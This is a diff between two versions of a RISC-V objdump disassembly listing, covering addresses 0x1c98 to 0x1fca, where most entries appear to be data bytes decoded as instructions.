-    1c98:	bc05                	j	16c8 <__stack_size+0xec8>
-    1c9a:	00705603          	lhu	a2,7(zero) # 7 <__stack_size-0x7f9>
+    1c98:	be05                	j	17c8 <__stack_size+0xfc8>
+    1c9a:	001f8b03          	lb	s6,1(t6)
     1c9e:	0500                	addi	s0,sp,640
-    1ca0:	03bd                	addi	t2,t2,15
-    1ca2:	1078                	addi	a4,sp,44
-    1ca4:	0000                	unimp
-    1ca6:	be05                	j	17d6 <__stack_size+0xfd6>
-    1ca8:	001f5503          	lhu	a0,1(t5) # ffff2001 <_heap_end+0x7ffe3801>
+    1ca0:	756003bf c0050000 	0xc0050000756003bf
+    1ca8:	006c3603          	0x6c3603
     1cac:	0500                	addi	s0,sp,640
-    1cae:	74c503bf c0050000 	0xc005000074c503bf
-    1cb6:	006b9403          	lh	s0,6(s7) # fffea006 <_heap_end+0x7ffdb806>
+    1cae:	03c1                	addi	t2,t2,16
+    1cb0:	7d2c                	flw	fa1,120(a0)
+    1cb2:	0000                	unimp
+    1cb4:	c205                	beqz	a2,1cd4 <__stack_size+0x14d4>
+    1cb6:	002e7903          	0x2e7903
     1cba:	0500                	addi	s0,sp,640
-    1cbc:	03c1                	addi	t2,t2,16
-    1cbe:	7ca2                	flw	fs9,40(sp)
+    1cbc:	45e703c3          	0x45e703c3
     1cc0:	0000                	unimp
-    1cc2:	c205                	beqz	a2,1ce2 <__stack_size+0x14e2>
-    1cc4:	002d6403          	0x2d6403
+    1cc2:	c405                	beqz	s0,1cea <__stack_size+0x14ea>
+    1cc4:	0050ac03          	lw	s8,5(ra)
     1cc8:	0500                	addi	s0,sp,640
-    1cca:	44e603c3          	0x44e603c3
+    1cca:	03c5                	addi	t2,t2,17
+    1ccc:	4380                	lw	s0,0(a5)
     1cce:	0000                	unimp
-    1cd0:	c405                	beqz	s0,1cf8 <__stack_size+0x14f8>
-    1cd2:	004fa303          	lw	t1,4(t6) # ffff8004 <_heap_end+0x7ffe9804>
+    1cd0:	c605                	beqz	a2,1cf8 <__stack_size+0x14f8>
+    1cd2:	0039be03          	0x39be03
     1cd6:	0500                	addi	s0,sp,640
-    1cd8:	03c5                	addi	t2,t2,17
-    1cda:	4281                	li	t0,0
+    1cd8:	345003c7          	0x345003c7
     1cdc:	0000                	unimp
-    1cde:	c605                	beqz	a2,1d06 <__stack_size+0x1506>
-    1ce0:	0038cb03          	lbu	s6,3(a7) # 8003 <__stack_size+0x7803>
+    1cde:	c805                	beqz	s0,1d0e <__stack_size+0x150e>
+    1ce0:	000abf03          	0xabf03
     1ce4:	0500                	addi	s0,sp,640
-    1ce6:	337003c7          	fmsub.d	ft7,ft0,fs7,ft6,rne
+    1ce6:	03c9                	addi	t2,t2,18
+    1ce8:	44b5                	li	s1,13
     1cea:	0000                	unimp
-    1cec:	c805                	beqz	s0,1d1c <__stack_size+0x151c>
-    1cee:	000b3703          	0xb3703
+    1cec:	ca05                	beqz	a2,1d1c <__stack_size+0x151c>
+    1cee:	0060fc03          	0x60fc03
     1cf2:	0500                	addi	s0,sp,640
-    1cf4:	03c9                	addi	t2,t2,18
-    1cf6:	43b6                	lw	t2,76(sp)
+    1cf4:	792f03cb          	fnmsub.s	ft7,ft10,fs2,fa5,rne
     1cf8:	0000                	unimp
-    1cfa:	ca05                	beqz	a2,1d2a <__stack_size+0x152a>
-    1cfc:	005fff03          	0x5fff03
+    1cfa:	cc05                	beqz	s0,1d32 <__stack_size+0x1532>
+    1cfc:	003f5203          	lhu	tp,3(t5) # 1af003 <__stack_size+0x1ae803>
     1d00:	0500                	addi	s0,sp,640
-    1d02:	788703cb          	fnmsub.s	ft7,fa4,fs0,fa5,rne
-    1d06:	0000                	unimp
-    1d08:	cc05                	beqz	s0,1d40 <__stack_size+0x1540>
-    1d0a:	003e4703          	lbu	a4,3(t3) # 3003 <__stack_size+0x2803>
+    1d02:	03cd                	addi	t2,t2,19
+    1d04:	681f 0000 ce05      	0xce050000681f
+    1d0a:	0078f203          	0x78f203
     1d0e:	0500                	addi	s0,sp,640
-    1d10:	03cd                	addi	t2,t2,19
-    1d12:	000067af          	0x67af
-    1d16:	ce05                	beqz	a2,1d4e <__stack_size+0x154e>
-    1d18:	00784a03          	lbu	s4,7(a6) # 16007 <__stack_size+0x15807>
+    1d10:	912e03cf          	fnmadd.s	ft7,ft8,fs2,fs2,rne
+    1d14:	0000                	unimp
+    1d16:	d005                	beqz	s0,1c36 <__stack_size+0x1436>
+    1d18:	004a5803          	lhu	a6,4(s4) # fffe3004 <_heap_end+0x7ffd4804>
     1d1c:	0500                	addi	s0,sp,640
-    1d1e:	906103cf          	fnmadd.s	ft7,ft2,ft6,fs2,rne
+    1d1e:	03d1                	addi	t2,t2,20
+    1d20:	5b8e                	lw	s7,224(sp)
     1d22:	0000                	unimp
-    1d24:	d005                	beqz	s0,1c44 <__stack_size+0x1444>
-    1d26:	00491903          	lh	s2,4(s2)
+    1d24:	d205                	beqz	a2,1c44 <__stack_size+0x1444>
+    1d26:	00210203          	lb	tp,2(sp) # 1002 <__stack_size+0x802>
     1d2a:	0500                	addi	s0,sp,640
-    1d2c:	03d1                	addi	t2,t2,20
-    1d2e:	5a72                	lw	s4,60(sp)
+    1d2c:	8d2b03d3          	0x8d2b03d3
     1d30:	0000                	unimp
-    1d32:	d205                	beqz	a2,1c52 <__stack_size+0x1452>
-    1d34:	00206e03          	0x206e03
+    1d32:	d405                	beqz	s0,1c5a <__stack_size+0x145a>
+    1d34:	00319f03          	lh	t5,3(gp) # 8000e063 <__global_pointer$+0x3>
     1d38:	0500                	addi	s0,sp,640
-    1d3a:	8c7803d3          	0x8c7803d3
+    1d3a:	03d5                	addi	t2,t2,21
+    1d3c:	4a6c                	lw	a1,84(a2)
     1d3e:	0000                	unimp
-    1d40:	d405                	beqz	s0,1c68 <__stack_size+0x1468>
-    1d42:	0030ab03          	lw	s6,3(ra) # 500197f <__stack_size+0x500117f>
+    1d40:	d605                	beqz	a2,1c68 <__stack_size+0x1468>
+    1d42:	0098a003          	lw	zero,9(a7)
     1d46:	0500                	addi	s0,sp,640
-    1d48:	03d5                	addi	t2,t2,21
-    1d4a:	492d                	li	s2,11
+    1d48:	4f4703d7          	0x4f4703d7
     1d4c:	0000                	unimp
-    1d4e:	d605                	beqz	a2,1c76 <__stack_size+0x1476>
-    1d50:	0097fd03          	0x97fd03
+    1d4e:	d805                	beqz	s0,1c7e <__stack_size+0x147e>
+    1d50:	003ee203          	0x3ee203
     1d54:	0500                	addi	s0,sp,640
-    1d56:	4e4a03d7          	0x4e4a03d7
-    1d5a:	0000                	unimp
-    1d5c:	d805                	beqz	s0,1c8c <__stack_size+0x148c>
-    1d5e:	003dd703          	lhu	a4,3(s11) # 1003 <__stack_size+0x803>
+    1d56:	03d9                	addi	t2,t2,22
+    1d58:	000017a3          	sh	zero,15(zero) # f <__stack_size-0x7f1>
+    1d5c:	da05                	beqz	a2,1c8c <__stack_size+0x148c>
+    1d5e:	009a6803          	0x9a6803
     1d62:	0500                	addi	s0,sp,640
-    1d64:	03d9                	addi	t2,t2,22
-    1d66:	1854                	addi	a3,sp,52
+    1d64:	236503db          	0x236503db
     1d68:	0000                	unimp
-    1d6a:	da05                	beqz	a2,1c9a <__stack_size+0x149a>
-    1d6c:	0099ba03          	0x99ba03
+    1d6a:	dc05                	beqz	s0,1ca2 <__stack_size+0x14a2>
+    1d6c:	003a1903          	lh	s2,3(s4)
     1d70:	0500                	addi	s0,sp,640
-    1d72:	22b403db          	0x22b403db
+    1d72:	03dd                	addi	t2,t2,23
+    1d74:	626c                	flw	fa1,68(a2)
     1d76:	0000                	unimp
-    1d78:	dc05                	beqz	s0,1cb0 <__stack_size+0x14b0>
-    1d7a:	00392603          	lw	a2,3(s2)
+    1d78:	de05                	beqz	a2,1cb0 <__stack_size+0x14b0>
+    1d7a:	007d9203          	lh	tp,7(s11)
     1d7e:	0500                	addi	s0,sp,640
-    1d80:	03dd                	addi	t2,t2,23
-    1d82:	0000616f          	jal	sp,7d82 <__stack_size+0x7582>
-    1d86:	de05                	beqz	a2,1cbe <__stack_size+0x14be>
-    1d88:	007d0f03          	lb	t5,7(s10)
+    1d80:	03df 7da4 0000      	0x7da403df
+    1d86:	e005                	bnez	s0,1da6 <__stack_size+0x15a6>
+    1d88:	00717a03          	0x717a03
     1d8c:	0500                	addi	s0,sp,640
-    1d8e:	03df 7d21 0000      	0x7d2103df
-    1d94:	e005                	bnez	s0,1db4 <__stack_size+0x15b4>
-    1d96:	0070f903          	0x70f903
+    1d8e:	03e1                	addi	t2,t2,24
+    1d90:	0710                	addi	a2,sp,896
+    1d92:	0000                	unimp
+    1d94:	e205                	bnez	a2,1db4 <__stack_size+0x15b4>
+    1d96:	002c5703          	lhu	a4,2(s8) # 1002 <__stack_size+0x802>
     1d9a:	0500                	addi	s0,sp,640
-    1d9c:	03e1                	addi	t2,t2,24
-    1d9e:	0750                	addi	a2,sp,900
+    1d9c:	9e2103e3          	beq	sp,sp,1782 <__stack_size+0xf82>
     1da0:	0000                	unimp
-    1da2:	e205                	bnez	a2,1dc2 <__stack_size+0x15c2>
-    1da4:	002b8c03          	lb	s8,2(s7)
+    1da2:	e405                	bnez	s0,1dca <__stack_size+0x15ca>
+    1da4:	00217c03          	0x217c03
     1da8:	0500                	addi	s0,sp,640
-    1daa:	9dcc03e3          	beq	s8,t3,1770 <__stack_size+0xf70>
-    1dae:	0000                	unimp
-    1db0:	e405                	bnez	s0,1dd8 <__stack_size+0x15d8>
-    1db2:	00210903          	lb	s2,2(sp)
+    1daa:	03e5                	addi	t2,t2,25
+    1dac:	0000254b          	fnmsub.s	fa0,ft0,ft0,ft0,rdn
+    1db0:	e605                	bnez	a2,1dd8 <__stack_size+0x15d8>
+    1db2:	00372f03          	lw	t5,3(a4)
     1db6:	0500                	addi	s0,sp,640
-    1db8:	03e5                	addi	t2,t2,25
-    1dba:	2492                	fld	fs1,256(sp)
+    1db8:	3a2a03e7          	jalr	t2,930(s4)
     1dbc:	0000                	unimp
-    1dbe:	e605                	bnez	a2,1de6 <__stack_size+0x15e6>
-    1dc0:	00366103          	0x366103
+    1dbe:	e805                	bnez	s0,1dee <__stack_size+0x15ee>
+    1dc0:	00508b03          	lb	s6,5(ra)
     1dc4:	0500                	addi	s0,sp,640
-    1dc6:	393703e7          	jalr	t2,915(a4)
-    1dca:	0000                	unimp
-    1dcc:	e805                	bnez	s0,1dfc <__stack_size+0x15fc>
-    1dce:	00334903          	lbu	s2,3(t1)
+    1dc6:	03e9                	addi	t2,t2,26
+    1dc8:	00000b47          	fmsub.s	fs6,ft0,ft0,ft0,rne
+    1dcc:	ea05                	bnez	a2,1dfc <__stack_size+0x15fc>
+    1dce:	0023e103          	0x23e103
     1dd2:	0500                	addi	s0,sp,640
-    1dd4:	03e9                	addi	t2,t2,26
-    1dd6:	00000bbf 3003ea05 	0x3003ea0500000bbf
-    1dde:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-    1de2:	0b4d03eb          	0xb4d03eb
+    1dd4:	0ad503eb          	0xad503eb
+    1dd8:	0000                	unimp
+    1dda:	ec05                	bnez	s0,1e12 <__stack_size+0x1612>
+    1ddc:	00021b03          	lh	s6,0(tp) # 0 <__stack_size-0x800>
+    1de0:	0500                	addi	s0,sp,640
+    1de2:	03ed                	addi	t2,t2,27
+    1de4:	9f64                	0x9f64
     1de6:	0000                	unimp
-    1de8:	ec05                	bnez	s0,1e20 <__stack_size+0x1620>
-    1dea:	00025003          	lhu	zero,0(tp) # fffe1000 <_heap_end+0x7ffd2800>
+    1de8:	ee05                	bnez	a2,1e20 <__stack_size+0x1620>
+    1dea:	00299a03          	lh	s4,2(s3)
     1dee:	0500                	addi	s0,sp,640
-    1df0:	03ed                	addi	t2,t2,27
-    1df2:	9f02                	jalr	t5
+    1df0:	52d903ef          	jal	t2,92b1c <__stack_size+0x9231c>
     1df4:	0000                	unimp
-    1df6:	ee05                	bnez	a2,1e2e <__stack_size+0x162e>
-    1df8:	0028d603          	lhu	a2,2(a7)
+    1df6:	f005                	bnez	s0,1d16 <__stack_size+0x1516>
+    1df8:	00754203          	lbu	tp,7(a0)
     1dfc:	0500                	addi	s0,sp,640
-    1dfe:	519703ef          	jal	t2,72b16 <__stack_size+0x72316>
+    1dfe:	03f1                	addi	t2,t2,28
+    1e00:	111e                	slli	sp,sp,0x27
     1e02:	0000                	unimp
-    1e04:	f005                	bnez	s0,1d24 <__stack_size+0x1524>
-    1e06:	0074a703          	lw	a4,7(s1)
+    1e04:	f705                	bnez	a4,1d2c <__stack_size+0x152c>
+    1e06:	00378e03          	lb	t3,3(a5) # 17003 <__stack_size+0x16803>
     1e0a:	0500                	addi	s0,sp,640
-    1e0c:	03f1                	addi	t2,t2,28
-    1e0e:	118a                	slli	gp,gp,0x22
+    1e0c:	03f8                	addi	a4,sp,460
+    1e0e:	97bd                	srai	a5,a5,0x2f
     1e10:	0000                	unimp
-    1e12:	f705                	bnez	a4,1d3a <__stack_size+0x153a>
-    1e14:	0036c003          	lbu	zero,3(a3) # 2c28175f <_data_lma+0xbe7b77f>
+    1e12:	f905                	bnez	a0,1d42 <__stack_size+0x1542>
+    1e14:	0075b003          	0x75b003
     1e18:	0500                	addi	s0,sp,640
-    1e1a:	03f8                	addi	a4,sp,460
-    1e1c:	970e                	add	a4,a4,gp
+    1e1a:	03fa                	slli	t2,t2,0x1e
+    1e1c:	98ae                	add	a7,a7,a1
     1e1e:	0000                	unimp
-    1e20:	f905                	bnez	a0,1d50 <__stack_size+0x1550>
-    1e22:	00751503          	lh	a0,7(a0)
+    1e20:	fb05                	bnez	a4,1d50 <__stack_size+0x1550>
+    1e22:	0055f803          	0x55f803
     1e26:	0500                	addi	s0,sp,640
-    1e28:	03fa                	slli	t2,t2,0x1e
-    1e2a:	0000980b          	0x980b
-    1e2e:	fb05                	bnez	a4,1d5e <__stack_size+0x155e>
-    1e30:	0054df03          	lhu	t5,5(s1)
+    1e28:	03fc                	addi	a5,sp,460
+    1e2a:	2e15                	jal	215e <__stack_size+0x195e>
+    1e2c:	0000                	unimp
+    1e2e:	fd05                	bnez	a0,1d66 <__stack_size+0x1566>
+    1e30:	002cc903          	lbu	s2,2(s9)
     1e34:	0500                	addi	s0,sp,640
-    1e36:	03fc                	addi	a5,sp,460
-    1e38:	2d00                	fld	fs0,24(a0)
-    1e3a:	0000                	unimp
-    1e3c:	fd05                	bnez	a0,1d74 <__stack_size+0x1574>
-    1e3e:	002bfe03          	0x2bfe03
+    1e36:	03fe                	slli	t2,t2,0x1f
+    1e38:	00000b23          	sb	zero,22(zero) # 16 <__stack_size-0x7ea>
+    1e3c:	ff05                	bnez	a4,1d74 <__stack_size+0x1574>
+    1e3e:	007f7903          	0x7f7903
     1e42:	0500                	addi	s0,sp,640
-    1e44:	03fe                	slli	t2,t2,0x1f
-    1e46:	00000b9b          	0xb9b
-    1e4a:	ff05                	bnez	a4,1d82 <__stack_size+0x1582>
-    1e4c:	007ef603          	0x7ef603
+    1e44:	0480                	addi	s0,sp,576
+    1e46:	6c80                	flw	fs0,24(s1)
+    1e48:	0000                	unimp
+    1e4a:	8105                	srli	a0,a0,0x1
+    1e4c:	fa04                	fsw	fs1,48(a2)
+    1e4e:	0075                	c.nop	29
     1e50:	0500                	addi	s0,sp,640
-    1e52:	0480                	addi	s0,sp,576
-    1e54:	6be2                	flw	fs7,24(sp)
+    1e52:	0482                	c.slli64	s1
+    1e54:	89fe                	mv	s3,t6
     1e56:	0000                	unimp
-    1e58:	8105                	srli	a0,a0,0x1
-    1e5a:	5f04                	lw	s1,56(a4)
-    1e5c:	0075                	c.nop	29
-    1e5e:	0500                	addi	s0,sp,640
-    1e60:	0482                	c.slli64	s1
-    1e62:	0000895b          	0x895b
-    1e66:	8305                	srli	a4,a4,0x1
-    1e68:	e704                	fsw	fs1,8(a4)
-    1e6a:	0021                	c.nop	8
+    1e58:	8305                	srli	a4,a4,0x1
+    1e5a:	7d04                	flw	fs1,56(a0)
+    1e5c:	05000013          	li	zero,80
+    1e60:	0484                	addi	s1,sp,576
+    1e62:	4bb0                	lw	a2,80(a5)
+    1e64:	0000                	unimp
+    1e66:	8505                	srai	a0,a0,0x1
+    1e68:	4c04                	lw	s1,24(s0)
+    1e6a:	007f                	0x7f
     1e6c:	0500                	addi	s0,sp,640
-    1e6e:	0484                	addi	s1,sp,576
-    1e70:	4a69                	li	s4,26
+    1e6e:	0486                	slli	s1,s1,0x1
+    1e70:	340c                	fld	fa1,40(s0)
     1e72:	0000                	unimp
-    1e74:	8505                	srai	a0,a0,0x1
-    1e76:	c904                	sw	s1,16(a0)
-    1e78:	007e                	c.slli	zero,0x1f
+    1e74:	8705                	srai	a4,a4,0x1
+    1e76:	3104                	fld	fs1,32(a0)
+    1e78:	008a                	slli	ra,ra,0x2
     1e7a:	0500                	addi	s0,sp,640
-    1e7c:	0486                	slli	s1,s1,0x1
-    1e7e:	0000330f          	0x330f
-    1e82:	8705                	srai	a4,a4,0x1
-    1e84:	8e04                	0x8e04
-    1e86:	0089                	addi	ra,ra,2
+    1e7c:	0488                	addi	a0,sp,576
+    1e7e:	0000212f          	amoadd.w	sp,zero,(zero)
+    1e82:	8905                	andi	a0,a0,1
+    1e84:	3104                	fld	fs1,32(a0)
+    1e86:	007a                	c.slli	zero,0x1e
     1e88:	0500                	addi	s0,sp,640
-    1e8a:	0488                	addi	a0,sp,576
-    1e8c:	20a9                	jal	1ed6 <__stack_size+0x16d6>
+    1e8a:	048a                	slli	s1,s1,0x2
+    1e8c:	8e06                	mv	t3,ra
     1e8e:	0000                	unimp
-    1e90:	8905                	andi	a0,a0,1
-    1e92:	b804                	fsd	fs1,48(s0)
-    1e94:	0079                	c.nop	30
-    1e96:	0500                	addi	s0,sp,640
-    1e98:	048a                	slli	s1,s1,0x2
-    1e9a:	00008d53          	fadd.s	fs10,ft1,ft0,rne
-    1e9e:	8b05                	andi	a4,a4,1
-    1ea0:	8004                	0x8004
-    1ea2:	002c                	addi	a1,sp,8
-    1ea4:	0000                	unimp
-    1ea6:	0004                	0x4
-    1ea8:	0500                	addi	s0,sp,640
-    1eaa:	a408                	fsd	fa0,8(s0)
-    1eac:	0059                	c.nop	22
-    1eae:	0500                	addi	s0,sp,640
-    1eb0:	003ae90f          	0x3ae90f
-    1eb4:	0500                	addi	s0,sp,640
-    1eb6:	2110                	fld	fa2,0(a0)
-    1eb8:	0070                	addi	a2,sp,12
-    1eba:	0000                	unimp
-    1ebc:	0004                	0x4
-    1ebe:	0500                	addi	s0,sp,640
-    1ec0:	0054931b          	0x54931b
-    1ec4:	0500                	addi	s0,sp,640
-    1ec6:	b61f 000b 0500      	0x500000bb61f
-    1ecc:	e921                	bnez	a0,1f1c <__stack_size+0x171c>
-    1ece:	003a                	c.slli	zero,0xe
-    1ed0:	0500                	addi	s0,sp,640
-    1ed2:	2122                	fld	ft2,8(sp)
-    1ed4:	0070                	addi	a2,sp,12
-    1ed6:	0000                	unimp
-    1ed8:	0004                	0x4
-    1eda:	0600                	addi	s0,sp,768
-    1edc:	2122                	fld	ft2,8(sp)
-    1ede:	0008                	0x8
-    1ee0:	0500                	addi	s0,sp,640
-    1ee2:	001b3b27          	fsd	ft1,22(s6) # fffe0016 <_heap_end+0x7ffd1816>
-    1ee6:	0000                	unimp
-    1ee8:	0004                	0x4
-    1eea:	0500                	addi	s0,sp,640
-    1eec:	000d212f          	amoadd.w	sp,zero,(s10)
-    1ef0:	0500                	addi	s0,sp,640
-    1ef2:	0046ce43          	fmadd.s	ft8,fa3,ft4,ft0,rmm
-    1ef6:	0000                	unimp
-    1ef8:	0004                	0x4
-    1efa:	0500                	addi	s0,sp,640
-    1efc:	8e02                	jr	t3
-    1efe:	00a1                	addi	ra,ra,8
-    1f00:	0500                	addi	s0,sp,640
-    1f02:	da0d                	beqz	a2,1e34 <__stack_size+0x1634>
-    1f04:	008a                	slli	ra,ra,0x2
-    1f06:	0500                	addi	s0,sp,640
-    1f08:	fd15                	bnez	a0,1e44 <__stack_size+0x1644>
-    1f0a:	0031                	c.nop	12
-    1f0c:	0000                	unimp
-    1f0e:	0004                	0x4
-    1f10:	0500                	addi	s0,sp,640
-    1f12:	4f51                	li	t5,20
-    1f14:	0054                	addi	a3,sp,4
-    1f16:	0500                	addi	s0,sp,640
-    1f18:	fe52                	fsw	fs4,60(sp)
-    1f1a:	0090                	addi	a2,sp,64
-    1f1c:	0500                	addi	s0,sp,640
-    1f1e:	00225a53          	fadd.s	fs4,ft4,ft2,unknown
-    1f22:	0500                	addi	s0,sp,640
-    1f24:	6d54                	flw	fa3,28(a0)
-    1f26:	007a                	c.slli	zero,0x1e
-    1f28:	0500                	addi	s0,sp,640
-    1f2a:	e056                	fsw	fs5,0(sp)
-    1f2c:	009c                	addi	a5,sp,64
-    1f2e:	0500                	addi	s0,sp,640
-    1f30:	00791d57          	0x791d57
-    1f34:	0500                	addi	s0,sp,640
-    1f36:	2a58                	fld	fa4,144(a2)
-    1f38:	05000053          	0x5000053
-    1f3c:	6959                	lui	s2,0x16
-    1f3e:	0085                	addi	ra,ra,1
-    1f40:	0500                	addi	s0,sp,640
-    1f42:	cd5a                	sw	s6,152(sp)
-    1f44:	0052                	c.slli	zero,0x14
-    1f46:	0500                	addi	s0,sp,640
-    1f48:	0074995b          	0x74995b
-    1f4c:	0500                	addi	s0,sp,640
-    1f4e:	3e5c                	fld	fa5,184(a2)
-    1f50:	006c                	addi	a1,sp,12
-    1f52:	0500                	addi	s0,sp,640
-    1f54:	ee5d                	bnez	a2,2012 <__stack_size+0x1812>
-    1f56:	0500003b          	0x500003b
-    1f5a:	925e                	add	tp,tp,s7
-    1f5c:	005a                	c.slli	zero,0x16
-    1f5e:	0500                	addi	s0,sp,640
-    1f60:	675f 0006 0500      	0x5000006675f
-    1f66:	0029d663          	bge	s3,sp,1f72 <__stack_size+0x1772>
-    1f6a:	0500                	addi	s0,sp,640
-    1f6c:	c566                	sw	s9,136(sp)
-    1f6e:	05000097          	auipc	ra,0x5000
-    1f72:	00028967          	jalr	s2,t0
-    1f76:	0500                	addi	s0,sp,640
-    1f78:	3472                	fld	fs0,312(sp)
-    1f7a:	05000097          	auipc	ra,0x5000
-    1f7e:	00954473          	0x954473
-    1f82:	0500                	addi	s0,sp,640
-    1f84:	5174                	lw	a3,100(a0)
-    1f86:	0045                	c.nop	17
-    1f88:	0500                	addi	s0,sp,640
-    1f8a:	d176                	sw	t4,160(sp)
-    1f8c:	0056                	c.slli	zero,0x15
-    1f8e:	0500                	addi	s0,sp,640
-    1f90:	002bda7b          	0x2bda7b
+    1e90:	8b05                	andi	a4,a4,1
+    1e92:	6b04                	flw	fs1,16(a4)
+    1e94:	002d                	c.nop	11
+    1e96:	0000                	unimp
+    1e98:	0004                	0x4
+    1e9a:	0500                	addi	s0,sp,640
+    1e9c:	bb08                	fsd	fa0,48(a4)
+    1e9e:	005e                	c.slli	zero,0x17
+    1ea0:	0500                	addi	s0,sp,640
+    1ea2:	003bff0f          	0x3bff0f
+    1ea6:	0500                	addi	s0,sp,640
+    1ea8:	a210                	fsd	fa2,0(a2)
+    1eaa:	0070                	addi	a2,sp,12
+    1eac:	0000                	unimp
+    1eae:	0004                	0x4
+    1eb0:	0500                	addi	s0,sp,640
+    1eb2:	0035b11b          	0x35b11b
+    1eb6:	0500                	addi	s0,sp,640
+    1eb8:	3e1f 000b 0500      	0x500000b3e1f
+    1ebe:	ff21                	bnez	a4,1e16 <__stack_size+0x1616>
+    1ec0:	0500003b          	0x500003b
+    1ec4:	a222                	fsd	fs0,256(sp)
+    1ec6:	0070                	addi	a2,sp,12
+    1ec8:	0000                	unimp
+    1eca:	0004                	0x4
+    1ecc:	0600                	addi	s0,sp,768
+    1ece:	d722                	sw	s0,172(sp)
+    1ed0:	05000007          	0x5000007
+    1ed4:	0044dc27          	0x44dc27
+    1ed8:	0000                	unimp
+    1eda:	0004                	0x4
+    1edc:	0500                	addi	s0,sp,640
+    1ede:	000cc62f          	0xcc62f
+    1ee2:	0500                	addi	s0,sp,640
+    1ee4:	0047eb43          	fmadd.s	fs6,fa5,ft4,ft0,unknown
+    1ee8:	0000                	unimp
+    1eea:	0004                	0x4
+    1eec:	0500                	addi	s0,sp,640
+    1eee:	a702                	fsd	ft0,392(sp)
+    1ef0:	00a1                	addi	ra,ra,8
+    1ef2:	0500                	addi	s0,sp,640
+    1ef4:	8d0d                	sub	a0,a0,a1
+    1ef6:	0500008b          	0x500008b
+    1efa:	0015                	c.nop	5
+    1efc:	00000033          	add	zero,zero,zero
+    1f00:	0004                	0x4
+    1f02:	0500                	addi	s0,sp,640
+    1f04:	7551                	lui	a0,0xffff4
+    1f06:	0055                	c.nop	21
+    1f08:	0500                	addi	s0,sp,640
+    1f0a:	b352                	fsd	fs4,416(sp)
+    1f0c:	0091                	addi	ra,ra,4
+    1f0e:	0500                	addi	s0,sp,640
+    1f10:	0022e253          	fadd.s	ft4,ft5,ft2,unknown
+    1f14:	0500                	addi	s0,sp,640
+    1f16:	e654                	fsw	fa3,12(a2)
+    1f18:	007a                	c.slli	zero,0x1e
+    1f1a:	0500                	addi	s0,sp,640
+    1f1c:	5d56                	lw	s10,116(sp)
+    1f1e:	009d                	addi	ra,ra,7
+    1f20:	0500                	addi	s0,sp,640
+    1f22:	00799657          	0x799657
+    1f26:	0500                	addi	s0,sp,640
+    1f28:	8158                	0x8158
+    1f2a:	0054                	addi	a3,sp,4
+    1f2c:	0500                	addi	s0,sp,640
+    1f2e:	e559                	bnez	a0,1fbc <__stack_size+0x17bc>
+    1f30:	0085                	addi	ra,ra,1
+    1f32:	0500                	addi	s0,sp,640
+    1f34:	275a                	fld	fa4,400(sp)
+    1f36:	0054                	addi	a3,sp,4
+    1f38:	0500                	addi	s0,sp,640
+    1f3a:	0075345b          	0x75345b
+    1f3e:	0500                	addi	s0,sp,640
+    1f40:	dc5c                	sw	a5,60(s0)
+    1f42:	006c                	addi	a1,sp,12
+    1f44:	0500                	addi	s0,sp,640
+    1f46:	fb5d                	bnez	a4,1efc <__stack_size+0x16fc>
+    1f48:	003c                	addi	a5,sp,8
+    1f4a:	0500                	addi	s0,sp,640
+    1f4c:	875e                	mv	a4,s7
+    1f4e:	002d                	c.nop	11
+    1f50:	0500                	addi	s0,sp,640
+    1f52:	dd5f 0005 0500      	0x5000005dd5f
+    1f58:	002aa263          	0x2aa263
+    1f5c:	0500                	addi	s0,sp,640
+    1f5e:	7466                	flw	fs0,120(sp)
+    1f60:	0098                	addi	a4,sp,64
+    1f62:	0500                	addi	s0,sp,640
+    1f64:	00025467          	0x25467
+    1f68:	0500                	addi	s0,sp,640
+    1f6a:	e372                	fsw	ft8,132(sp)
+    1f6c:	05000097          	auipc	ra,0x5000
+    1f70:	0095f373          	csrrci	t1,0x9,11
+    1f74:	0500                	addi	s0,sp,640
+    1f76:	6374                	flw	fa3,68(a4)
+    1f78:	0046                	c.slli	zero,0x11
+    1f7a:	0500                	addi	s0,sp,640
+    1f7c:	0e76                	slli	t3,t3,0x1d
+    1f7e:	0058                	addi	a4,sp,4
+    1f80:	0500                	addi	s0,sp,640
+    1f82:	002ca57b          	0x2ca57b
+    1f86:	0500                	addi	s0,sp,640
+    1f88:	0181                	addi	gp,gp,0
+    1f8a:	5592                	lw	a1,36(sp)
+    1f8c:	0000                	unimp
+    1f8e:	8705                	srai	a4,a4,0x1
+    1f90:	4b01                	li	s6,0
+    1f92:	009d                	addi	ra,ra,7
     1f94:	0500                	addi	s0,sp,640
-    1f96:	0181                	addi	gp,gp,0
-    1f98:	00005477          	0x5477
-    1f9c:	8705                	srai	a4,a4,0x1
-    1f9e:	ce01                	beqz	a2,1fb6 <__stack_size+0x17b6>
-    1fa0:	009c                	addi	a5,sp,64
-    1fa2:	0500                	addi	s0,sp,640
-    1fa4:	018d                	addi	gp,gp,3
-    1fa6:	1a40                	addi	s0,sp,308
+    1f96:	018d                	addi	gp,gp,3
+    1f98:	0000198f          	0x198f
+    1f9c:	9105                	srli	a0,a0,0x21
+    1f9e:	6a01                	0x6a01
+    1fa0:	001f 0500 019e      	0x19e0500001f
+    1fa6:	0ddd                	addi	s11,s11,23
     1fa8:	0000                	unimp
-    1faa:	9105                	srli	a0,a0,0x21
-    1fac:	3401                	jal	19ac <__stack_size+0x11ac>
-    1fae:	001f 0500 019e      	0x19e0500001f
-    1fb4:	00000e23          	sb	zero,28(zero) # 1c <__stack_size-0x7e4>
-    1fb8:	a005                	j	1fd8 <__stack_size+0x17d8>
-    1fba:	2c01                	jal	21ca <__stack_size+0x19ca>
-    1fbc:	009e                	slli	ra,ra,0x7
+    1faa:	a005                	j	1fca <__stack_size+0x17ca>
+    1fac:	8e01                	sub	a2,a2,s0
+    1fae:	009e                	slli	ra,ra,0x7
+    1fb0:	0500                	addi	s0,sp,640
+    1fb2:	01a1                	addi	gp,gp,8
+    1fb4:	000015b7          	lui	a1,0x1
+    1fb8:	a205                	j	20d8 <__stack_size+0x18d8>
+    1fba:	9f01                	0x9f01
+    1fbc:	0000                	unimp
     1fbe:	0500                	addi	s0,sp,640
-    1fc0:	01a1                	addi	gp,gp,8
-    1fc2:	1668                	addi	a0,sp,812
-    1fc4:	0000                	unimp
-    1fc6:	a205                	j	20e6 <__stack_size+0x18e6>
-    1fc8:	9f01                	0x9f01
-    1fca:	0000                	unimp
+    1fc0:	01a4                	addi	s1,sp,200
+    1fc2:	00004503          	lbu	a0,0(zero) # 0 <__stack_size-0x800>
+    1fc6:	a505                	j	25e6 <__stack_size+0x1de6>
+    1fc8:	a401                	j	21c8 <__stack_size+0x19c8>
+    1fca:	0082                	c.slli64	ra
